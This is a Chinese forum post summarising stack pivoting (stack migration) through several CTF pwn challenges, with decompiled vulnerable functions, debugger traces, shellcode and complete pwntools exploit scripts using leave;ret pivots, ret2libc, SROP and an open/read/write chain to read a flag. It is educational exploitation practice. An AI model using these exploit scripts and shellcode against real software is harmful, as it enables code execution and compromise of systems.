首页
社区
课程
招聘
[原创]栈迁移的一次小小总结
发表于: 2025-12-2 17:15 1504

[原创]栈迁移的一次小小总结

2025-12-2 17:15
1504

因为最近做了一些栈迁移相关的题,就想着做一个整理,大佬轻喷/(ㄒoㄒ)/~~

这里借用ctfwiki的介绍:80fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8Y4y4@1j5h3y4C8L8%4k6W2M7X3k6D9L8%4N6Q4x3V1k6^5z5o6k6Q4x3V1k6X3j5h3&6U0P5g2)9J5k6s2u0G2M7q4)9J5c8R3`.`.

栈迁移(stack pivoting),正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

此外,利用 stack pivoting 有以下几个要求

当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。

此外,还有更加高级的 fake frame。存在可以控制内容的内存,一般有如下

一般我们可以把bp指针的内容覆盖为我们能控制的内存区域,返回地址设置为leave;ret的gadget就可以实现sp指针的修改。

比如说以下这个例子

以下是一些题目,程序都放在附件里了,可以在本地复现。

先看保护,32位程序,可以看到存在RWX段,猜测栈上可以执行shellcode

也可以通过vmmap验证一下

pwn函数通过fgets写入0x32个字符,根据ida写的s到ebp的偏移是0x20,因此只能溢出0x32-0x20-0x4也就是14个字节,长度受限。

程序还给了一个hint函数,这个函数里给了一个jmp esp的gadget,我们可以利用这个gadget把eip指到栈上。

这道题我们可以通过把shellcode布置到s数组中,再填充字符直到返回地址,返回地址我们可以覆盖为jmp esp这个gadget的地址,这样就可以把eip指向我们的栈上了,接着我们还需要把eip指到我们的shellcode,我们可以在返回地址后布置"sub esp,0x28;jmp"这样一个汇编代码,使得eip指针指到shellcode,最终拿到shell

这里shellcode|padding|fake ebp|ret jmp_esp_addr刚好占用了0x28个字节,所以才是sub esp,0x28

本地调试可以看到,执行jmp esp后,eip和esp都指向了我们写的sub esp,0x28;jmp esp汇编

接着就执行sub esp,0x28;jmp esp就可以让eip指到我们写的shellcode了

成功得到shell

先看保护,是32位程序。

vul里有两个read操作,但是读入字节为0x30个字节,根据ida给出的偏移,我们只能刚好溢出到返回地址,溢出长度受限,需要用到栈迁移

程序还有一个hack函数,执行了system函数,我们就可以利用system@plt来调用system函数了

这道题的思路是:通过vul的第一个read和printf函数我们可以泄露ebp的地址,在第二个read我们就可以通过栈溢出把ebp覆盖为变量s的地址,返回地址覆盖为leave_ret完成栈迁移,我们只需要在s数组里布置好ROP链即可

本地调试,可以看到第一次read之后ebp相对ROP链的偏移是0xa8-0x70=0x38

第二次read之后,写入ROP链,ebp也覆盖为我们的ROP链位置,返回地址的leave;retn完成栈迁移

最后就是执行ROP链,执行system("/bin/sh")拿到shell了

先看程序保护,32位程序,发现有RWX段,说明栈上可执行shellcode

可以看到vulnerable_function会打印buf数组的起始地址,我们可以获取这个地址,把返回地址填充为buf的地址,那我们不就可以执行存放在buf的shellcode了

先看保护,32位程序。

再看vul_function逻辑,可以看到第一个read函数会向s变量写入0x200个字节(s是一个全局变量,存在bss段),第二个read会向buf写入0x20个字节,根据ida给出的偏移,只能溢出到返回地址,长度受限,但是我们可以将栈迁移到s的位置(即把ebp覆盖为s的地址,返回地址覆盖为leave_ret的gadget),因为s的内容是可控的,可以布置rop链

解题思路是:将栈迁移到bss段,执行ROP链泄露libc基址,之后就是常规的ret2libc了

看程序保护,没开pie和canary

看main函数的实现发现开了沙箱,读入0x200个字节,有栈溢出

发现不让执行execve,想拿到flag的话,我们还可以用open,read,write函数即ORW来输出flag

只有pop rdx的gadget能用,只能控制第二个参数

能找到syscall

我们注意到main函数结尾调用了read函数(.text:00000000004012B8),帮我们设置了rdi,rsi,rdx的值,而我们刚好能改rdx的值,rdx是用来设置read的读入长度的,而read函数会把成功读入的长度赋值给rax,这里可以想到使用SROP(Sigreturn Oriented Programming) ,原理详见:e88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8Y4y4@1j5h3y4C8L8%4k6W2M7X3k6D9L8%4N6Q4x3V1k6^5z5o6k6Q4x3V1k6S2k6s2k6S2L8X3y4W2k6q4)9J5k6s2u0G2M7q4)9J5c8Y4y4J5L8%4m8Q4x3V1k6Q4x3U0y4K6K9h3N6F1j5h3H3`.,我们可以通过调用read@plt,只需要赋值rdx为15,就可以使用SROP了。

在SigreturnFrame中,我们可以布置rdi为puts@got,rip为put_plt泄露libc地址,但是泄露完呢?我们该怎么写入ORW的ROP链呢?open函数还需要传入flag文件的路径:/flag,这又该如何写入,这里我们可以先把rbp指针转移到bss段,这样我们可以利用0x4012B8-0x4012C9的代码把返回地址和/flag字符串写入bss段

泄露libc地址后可以在libc查找gdget

ROPgadget --binary libc.so.6 --only "pop|ret"|grep "pop rdi"

ROPgadget --binary libc.so.6 --only "pop|ret"|grep "pop rsi ; ret"

ROPgadget --binary pwn --only "pop|ret"|grep "pop rdx"

梳理一下过程

在main函数执行到.text:00000000004012C9 call _read时,我们的payload设置为b'a'*0x70 + p64(bss_addr) + p64(main_addr),把rbp覆盖为bss_addr,返回地址填写为.text:00000000004012B8 lea rax, [rbp+buf],这样我们就能把rbp指针转移到bss_addr也就是0x0000000000404340的位置,之后就可以往bss_addr - 0x70的位置上写ROP链,返回地址和/flag字符串了。

接着我们写入能够存放返回地址、/flag字符串和泄露基址的ROP链,ROP链执行时首先会往bss_addr -0x70的位置写入00000000004012B8地址和/flag字符串,读入15个字节,此时满足rax=15我们就可以调用syscall,最终用puts函数泄露libc基址,frame.rsp设置为bss_addr - 0x70为的是让puts函数之后的返回地址是我们刚才写入的00000000004012B8地址,这样就可以接着写入ORW的ROP链了,rbp设置为bss_addr + 0x200是为了防止破坏我们刚才写入的00000000004012B8地址和/flag字符串。

此时已经成功写入我们的第一个ROP链

读入15个字节,此时bss_addr - 0x70存放了返回地址和/flag字符串

打印完puts的地址后,又可以写入ORW的ROP链了

我们根据泄露的puts地址,计算libc基址在程序中的偏移,同样也可以在libc中找我们需要的gadget,比如设置rdi和rsi,之后就是利用open函数以只读模式打开/flag文件,read函数把/flag文件的内容写入到bss_addr + 0x100位置,接着利用write函数把bss_addr + 0x100的内容输出到终端拿到flag。

可以看到open函数完后返回了文件描述符3,接着将flag写入0x404440的位置

执行完后查看有没有成功写入

再接着就是把flag打印到终端了

成功输出flag

先查看保护

可以看到main函数里只能溢出到返回地址,溢出长度受限考虑栈迁移,因为没有开启pie,我们可以考虑迁移到bss段

程序里有个gift函数,还给了pop rbp;ret的gadget,我们可以控制rbp内容,还有pop rdi;ret可以控制函数的第一个参数

这道题的主要思路是通过把栈迁移到bss段,在bss段上设置ROP链泄露libc基址,最终调用system("/bin/sh")

我们把rbp覆盖为bss地址,我这里覆盖为bss+0x50,返回地址设置为.text:0000000000401200 lea rax, [rbp+buf]因为我们还需要往bss段写入ROP链

可以看到rbp已经变成了bss+0x50的位置,接下来会读入0x60个字节到rbp-0x50的位置,也就是bss的位置

执行两次leave;ret;之后会把rsp转移到了我们布置的rop链上,这条rop链主要是打印puts在got表中存储的地址(用来泄露libc基址),打印完后再用pop rbp迁移到另一个位置重复写入ROP链

这里主要根据打印的puts函数地址,计算libc在程序中的偏移,再通过read函数写入rop链,和payload2一样,再一次栈迁移

最后得到shell

看程序保护

ida打开发现有很多函数,是静态链接的,那就有很多gadget了

看main函数可以观察到malloc了一个chunk,往堆上读入数据,再调用*v4这个函数,v4是chunk的数据部分地址,*v4是chunk的开始0x8个字节的内容,也就是把堆的数据部分的开始0x8字节内容当成了函数地址去调用

看回汇编可以发现[rbp+var_8]存储的是chunk的数据部分地址,[rbp+var_10]存储的是chunk的数据部分开始0x8字节的内容,call rdx也就是call [rbp+var_10]

程序给了gitf函数,可以观察到只要控制了r9,我们就能控制rsp,也就能控制程序的执行流程

本地调试看看r9是什么值,在call rdx打个断点,可以看到r9的值和[rbp+var_8]是一致的,都是chunk数据部分的地址,那只要我们在chunk的开始0x8个字节写入gift这个gadget的地址,就能实现把栈迁移到堆上了,就可以执行一系列我们在chunk上布置的rop链了。

能找到这些gadget,说明可以使用ret2syscall,执行execve("/bin/sh",0,0)

但是程序没有/bin/sh字符串,我们可以通过调用read函数把这个字符串写入bss段

成功拿到shell

pop rsp/esp
pop rsp/esp
gef➤  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>:  pop    rbx
0x40061b <__libc_csu_init+91>:  pop    rbp
0x40061c <__libc_csu_init+92>:  pop    r12
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret   
gef➤  x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>:  pop    rsp
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret
gef➤  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>:  pop    rbx
0x40061b <__libc_csu_init+91>:  pop    rbp
0x40061c <__libc_csu_init+92>:  pop    r12
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret   
gef➤  x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>:  pop    rsp
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret
  0x80485ee <vul+89>          push   eax
   0x80485ef <vul+90>          push   0x80486ca
   0x80485f4 <vul+95>          call   printf@plt                  <printf@plt>
 
   0x80485f9 <vul+100>         add    esp, 0x10             ESP => 0xff80c2e0 (0xff80c2d0 + 0x10)
   0x80485fc <vul+103>         nop
 0x80485fd <vul+104>         leave
   0x80485fe <vul+105>         ret                            
当我们运行到vul函数的leave;ret时
此时的栈内容如下
00:0000│ esp 0xff80c2e0 ◂— 'aaaa'
01:0004-024 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008-020 0xff80c2e8 ◂— 0xdeadbeef
03:000c-01c 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'
04:0010-018 0xff80c2f0 ◂— '/bin/sh'
05:0014-014 0xff80c2f4 ◂— 0x68732f /* '/sh' */
06:0018-010 0xff80c2f8 ◂— 0
... ↓        3 skipped
0a:0028│ ebp 0xff80c308 —▸ 0xff80c2e0 ◂— 'aaaa'
0b:002c+004 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave
0c:0030+008 0xff80c310 ◂— 1
0d:0034+00c 0xff80c314 —▸ 0xff80c330 ◂— 1
0e:0038+010 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 0
0f:003c+014 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
10:0040+018 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'
11:0044+01c 0xff80c324 ◂— 0x70 /* 'p' */
12:0048+020 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
13:004c+024 0xff80c32c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
ebp存储的是0xff80c2e0,这个地址是栈上的地址,也就是此时esp指针所指的位置,如果存在栈溢出,我们可以任意修改这个位置的内容
如果程序执行leave,即mov esp,ebp; pop ebp,此时栈上的内容如下
00:0000│ esp 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave
01:0004+030 0xff80c310 ◂— 1
02:0008+034 0xff80c314 —▸ 0xff80c330 ◂— 1
03:000c+038 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 0
04:0010+03c 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014+040 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'
06:0018+044 0xff80c324 ◂— 0x70 /* 'p' */
07:001c+048 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
ebp指向了我们之前覆盖的0xff80c2e0
*EBP  0xff80c2e0 ◂— 'aaaa'
接下来程序会弹出返回地址给rip,而这里我们覆盖的是leave;ret的gadget,因此会再执行一次leave;ret
 0x80485ef <vul+90>           push   0x80486ca
   0x80485f4 <vul+95>           call   printf@plt                  <printf@plt>
 
   0x80485f9 <vul+100>          add    esp, 0x10             ESP => 0xff80c2e0 (0xff80c2d0 + 0x10)
   0x80485fc <vul+103>          nop
   0x80485fd <vul+104>          leave
 0x80485fe <vul+105>          ret                                <hack+23>
    
   0x8048562 <hack+23>          leave
   0x8048563 <hack+24>          ret                                <system@plt>
    
   0x8048400 <system@plt>       jmp    dword ptr [0x804a018]       <system@plt+6>
    
   0x8048406 <system@plt+6>     push   0x18
   0x804840b <system@plt+11>    jmp    0x80483c0                   <0x80483c0>
再执行一次leave就会把esp带到0xff80c2e4的位置,完成了mov esp,ebp;pop ebp的操作
00:0000│ esp 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
01:0004│     0xff80c2e8 ◂— 0xdeadbeef
02:0008│     0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'
03:000c│     0xff80c2f0 ◂— '/bin/sh'
04:0010│     0xff80c2f4 ◂— 0x68732f /* '/sh' */
05:0014│     0xff80c2f8 ◂— 0
最终实现esp指针的转移,接下来的ret会执行我们布置的ROP链。
  0x80485ee <vul+89>          push   eax
   0x80485ef <vul+90>          push   0x80486ca
   0x80485f4 <vul+95>          call   printf@plt                  <printf@plt>
 
   0x80485f9 <vul+100>         add    esp, 0x10             ESP => 0xff80c2e0 (0xff80c2d0 + 0x10)
   0x80485fc <vul+103>         nop
 0x80485fd <vul+104>         leave
   0x80485fe <vul+105>         ret                            
当我们运行到vul函数的leave;ret时
此时的栈内容如下
00:0000│ esp 0xff80c2e0 ◂— 'aaaa'
01:0004-024 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008-020 0xff80c2e8 ◂— 0xdeadbeef
03:000c-01c 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'
04:0010-018 0xff80c2f0 ◂— '/bin/sh'
05:0014-014 0xff80c2f4 ◂— 0x68732f /* '/sh' */
06:0018-010 0xff80c2f8 ◂— 0
... ↓        3 skipped
0a:0028│ ebp 0xff80c308 —▸ 0xff80c2e0 ◂— 'aaaa'
0b:002c+004 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave
0c:0030+008 0xff80c310 ◂— 1
0d:0034+00c 0xff80c314 —▸ 0xff80c330 ◂— 1
0e:0038+010 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 0
0f:003c+014 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
10:0040+018 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'
11:0044+01c 0xff80c324 ◂— 0x70 /* 'p' */
12:0048+020 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
13:004c+024 0xff80c32c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
ebp存储的是0xff80c2e0,这个地址是栈上的地址,也就是此时esp指针所指的位置,如果存在栈溢出,我们可以任意修改这个位置的内容
如果程序执行leave,即mov esp,ebp; pop ebp,此时栈上的内容如下
00:0000│ esp 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave
01:0004+030 0xff80c310 ◂— 1
02:0008+034 0xff80c314 —▸ 0xff80c330 ◂— 1
03:000c+038 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 0
04:0010+03c 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014+040 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'
06:0018+044 0xff80c324 ◂— 0x70 /* 'p' */
07:001c+048 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
ebp指向了我们之前覆盖的0xff80c2e0
*EBP  0xff80c2e0 ◂— 'aaaa'
接下来程序会弹出返回地址给rip,而这里我们覆盖的是leave;ret的gadget,因此会再执行一次leave;ret
 0x80485ef <vul+90>           push   0x80486ca
   0x80485f4 <vul+95>           call   printf@plt                  <printf@plt>
 
   0x80485f9 <vul+100>          add    esp, 0x10             ESP => 0xff80c2e0 (0xff80c2d0 + 0x10)
   0x80485fc <vul+103>          nop
   0x80485fd <vul+104>          leave
 0x80485fe <vul+105>          ret                                <hack+23>
    
   0x8048562 <hack+23>          leave
   0x8048563 <hack+24>          ret                                <system@plt>
    
   0x8048400 <system@plt>       jmp    dword ptr [0x804a018]       <system@plt+6>
    
   0x8048406 <system@plt+6>     push   0x18
   0x804840b <system@plt+11>    jmp    0x80483c0                   <0x80483c0>
再执行一次leave就会把esp带到0xff80c2e4的位置,完成了mov esp,ebp;pop ebp的操作
00:0000│ esp 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
01:0004│     0xff80c2e8 ◂— 0xdeadbeef
02:0008│     0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'
03:000c│     0xff80c2f0 ◂— '/bin/sh'
04:0010│     0xff80c2f4 ◂— 0x68732f /* '/sh' */
05:0014│     0xff80c2f8 ◂— 0
最终实现esp指针的转移,接下来的ret会执行我们布置的ROP链。
int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h] BYREF
 
  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}
int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h] BYREF
 
  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}
void hint()
{
  __asm { jmp     esp }
}
void hint()
{
  __asm { jmp     esp }
}
payload = shellcode|padding|fake ebp|ret jmp_esp_addr|sub esp,0x28;jmp
payload = shellcode|padding|fake ebp|ret jmp_esp_addr|sub esp,0x28;jmp
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote("node5.buuoj.cn",25928)
io = process("./ciscn_s_9")
gdb.attach(io,"b *0x0804854F")
io.recvuntil(">\n")
#shellcode = asm(shellcraft.execve('/bin/sh\0',0,0))
shellcode = asm('''
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 0xb
    pop eax
    int 0x80
'''
)
jmp_esp = 0x08048554
log.info(f"shellcode->{len(shellcode)}")
shellcode = shellcode.ljust(0x24,b'\x00')
shellcode += p32(jmp_esp)
shellcode += asm('''
    sub esp,0x28
    jmp esp
''')
log.info(f"shellcode->{len(shellcode)}")
io.send(shellcode)
io.interactive()
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote("node5.buuoj.cn",25928)
io = process("./ciscn_s_9")
gdb.attach(io,"b *0x0804854F")
io.recvuntil(">\n")
#shellcode = asm(shellcraft.execve('/bin/sh\0',0,0))
shellcode = asm('''
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 0xb
    pop eax
    int 0x80
'''
)
jmp_esp = 0x08048554
log.info(f"shellcode->{len(shellcode)}")
shellcode = shellcode.ljust(0x24,b'\x00')
shellcode += p32(jmp_esp)
shellcode += asm('''
    sub esp,0x28
    jmp esp
''')
log.info(f"shellcode->{len(shellcode)}")
io.send(shellcode)
io.interactive()
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF
 
  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF
 
  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
int hack()
{
  return system("echo flag");
}
int hack()
{
  return system("echo flag");
}
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=remote("node4.buuoj.cn",25379)
io=process("ciscn_2019_es_2")
#gdb.attach(io,'b *0x080485BE')
elf=ELF("ciscn_2019_es_2")
payload1=b'a'*0x24+b'b'*0x4
#pause()
io.recvuntil(b"\n")
#pause()
io.send(payload1)
#pause()
io.recvuntil(b"bbbb")
ebp_addr=u32(io.recv(4))
log.info(f"ebp_addr:{hex(ebp_addr)}")
leave_ret=0x08048562
sh_addr=ebp_addr-0x38
payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh'
payload2=payload2.ljust(0x28,b"\x00")
payload2+=p32(sh_addr)+p32(leave_ret)
io.send(payload2)
io.interactive()
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=remote("node4.buuoj.cn",25379)
io=process("ciscn_2019_es_2")
#gdb.attach(io,'b *0x080485BE')
elf=ELF("ciscn_2019_es_2")
payload1=b'a'*0x24+b'b'*0x4
#pause()
io.recvuntil(b"\n")
#pause()
io.send(payload1)
#pause()
io.recvuntil(b"bbbb")
ebp_addr=u32(io.recv(4))
log.info(f"ebp_addr:{hex(ebp_addr)}")
leave_ret=0x08048562
sh_addr=ebp_addr-0x38
payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh'
payload2=payload2.ljust(0x28,b"\x00")
payload2+=p32(sh_addr)+p32(leave_ret)
io.send(payload2)
io.interactive()
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF
 
  printf("What's this:%p?\n", buf);
  return read(0, buf, 0x100u);
}
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF
 
  printf("What's this:%p?\n", buf);
  return read(0, buf, 0x100u);
}
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process("./level1")
shellcode = asm(shellcraft.sh()).ljust(0x88,b"\x00")
io.recvuntil(b"What's this:")
buf = int(io.recvuntil(b'?',drop=True),16)
payload = shellcode + b"a"*(0x4) + p32(buf)
io.sendline(payload)
io.interactive()
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process("./level1")
shellcode = asm(shellcraft.sh()).ljust(0x88,b"\x00")
io.recvuntil(b"What's this:")
buf = int(io.recvuntil(b'?',drop=True),16)
payload = shellcode + b"a"*(0x4) + p32(buf)
io.sendline(payload)
io.interactive()
ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf[24]; // [esp+0h] [ebp-18h] BYREF
 
  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, buf, 0x20u);
}
ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf[24]; // [esp+0h] [ebp-18h] BYREF
 
  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, buf, 0x20u);
}
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("node5.buuoj.cn",25443)
#io = process("spwn")
#gdb.attach(io,'b *0x8048511')
elf = ELF("spwn")
libc = ELF("libc-2.23.so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
leave_ret = 0x08048511
s = 0x0804A300
payload = b'a'*0x4 + p32(write_plt) + p32(elf.symbols["vul_function"]) +p32(1) + p32(write_got) + p32(4)
io.recvuntil(b"What is your name?")
io.send(payload)
payload1 = b'a'*0x18 + p32(s) + p32(leave_ret)
io.recvuntil(b"What do you want to say?")
io.send(payload1)
write_addr = u32(io.recv(4))
log.info(f"write_addr -->{hex(write_addr)}")
base = write_addr -libc.symbols["write"]
system = libc.symbols["system"] + base
sh = next(libc.search(b"/bin/sh\x00")) + base
payload2 =  b'a'*0x34 + p32(system)*2 + p32(sh)
io.recvuntil(b"What is your name?")
io.send(payload2)
io.recvuntil(b"What do you want to say?")
payload3 = b'a'*0x18 + p32(s+0x30) + p32(leave_ret)
io.send(payload3)
io.interactive()
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("node5.buuoj.cn",25443)
#io = process("spwn")
#gdb.attach(io,'b *0x8048511')
elf = ELF("spwn")
libc = ELF("libc-2.23.so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
leave_ret = 0x08048511
s = 0x0804A300
payload = b'a'*0x4 + p32(write_plt) + p32(elf.symbols["vul_function"]) +p32(1) + p32(write_got) + p32(4)
io.recvuntil(b"What is your name?")
io.send(payload)
payload1 = b'a'*0x18 + p32(s) + p32(leave_ret)
io.recvuntil(b"What do you want to say?")
io.send(payload1)
write_addr = u32(io.recv(4))
log.info(f"write_addr -->{hex(write_addr)}")
base = write_addr -libc.symbols["write"]
system = libc.symbols["system"] + base
sh = next(libc.search(b"/bin/sh\x00")) + base
payload2 =  b'a'*0x34 + p32(system)*2 + p32(sh)
io.recvuntil(b"What is your name?")
io.send(payload2)
io.recvuntil(b"What do you want to say?")
payload3 = b'a'*0x18 + p32(s+0x30) + p32(leave_ret)
io.send(payload3)
io.interactive()
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[108]; // [rsp+0h] [rbp-70h] BYREF
  int v5; // [rsp+6Ch] [rbp-4h]
 
  v5 = 0;
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  sandbox();
  puts("hey hey what are you doing here?");
  read(0, buf, 0x50uLL);
  puts("I say STOP doing this!");
  return read(0, buf, 0x200uLL);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[108]; // [rsp+0h] [rbp-70h] BYREF
  int v5; // [rsp+6Ch] [rbp-4h]
 
  v5 = 0;
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  sandbox();
  puts("hey hey what are you doing here?");
  read(0, buf, 0x50uLL);
  puts("I say STOP doing this!");
  return read(0, buf, 0x200uLL);
}
.text:000000000040123F ; __unwind {
.text:000000000040123F                 endbr64
.text:0000000000401243                 push    rbp
.text:0000000000401244                 mov     rbp, rsp
.text:0000000000401247                 sub     rsp, 70h
.text:000000000040124B                 mov     [rbp+var_4], 0
.text:0000000000401252                 mov     rax, cs:stdin@GLIBC_2_2_5
.text:0000000000401259                 mov     esi, 0          ; buf
.text:000000000040125E                 mov     rdi, rax        ; stream
.text:0000000000401261                 call    _setbuf
.text:0000000000401266                 mov     rax, cs:__bss_start
.text:000000000040126D                 mov     esi, 0          ; buf
.text:0000000000401272                 mov     rdi, rax        ; stream
.text:0000000000401275                 call    _setbuf
.text:000000000040127A                 mov     eax, 0
.text:000000000040127F                 call    sandbox
.text:0000000000401284                 lea     rax, s          ; "hey hey what are you doing here?"
.text:000000000040128B                 mov     rdi, rax        ; s
.text:000000000040128E                 call    _puts
.text:0000000000401293                 lea     rax, [rbp+buf]
.text:0000000000401297                 mov     edx, 50h ; 'P'  ; nbytes
.text:000000000040129C                 mov     rsi, rax        ; buf
.text:000000000040129F                 mov     edi, 0          ; fd
.text:00000000004012A4                 call    _read
.text:00000000004012A9                 lea     rax, aISayStopDoingT ; "I say STOP doing this!"
.text:00000000004012B0                 mov     rdi, rax        ; s
.text:00000000004012B3                 call    _puts
.text:00000000004012B8                 lea     rax, [rbp+buf]
.text:00000000004012BC                 mov     edx, 200h       ; nbytes
.text:00000000004012C1                 mov     rsi, rax        ; buf
.text:00000000004012C4                 mov     edi, 0          ; fd
.text:00000000004012C9                 call    _read
.text:00000000004012CE                 nop
.text:00000000004012CF                 nop
.text:00000000004012D0                 nop
.text:00000000004012D1                 nop
.text:00000000004012D2                 nop
.text:00000000004012D3                 leave
.text:00000000004012D4                 retn
.text:00000000004012D4 ; } // starts at 40123F
.text:00000000004012D4 main            endp
.text:000000000040123F ; __unwind {
.text:000000000040123F                 endbr64
.text:0000000000401243                 push    rbp
.text:0000000000401244                 mov     rbp, rsp

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-12-4 11:06 被G0t1T编辑 ,原因: 补充附件
上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回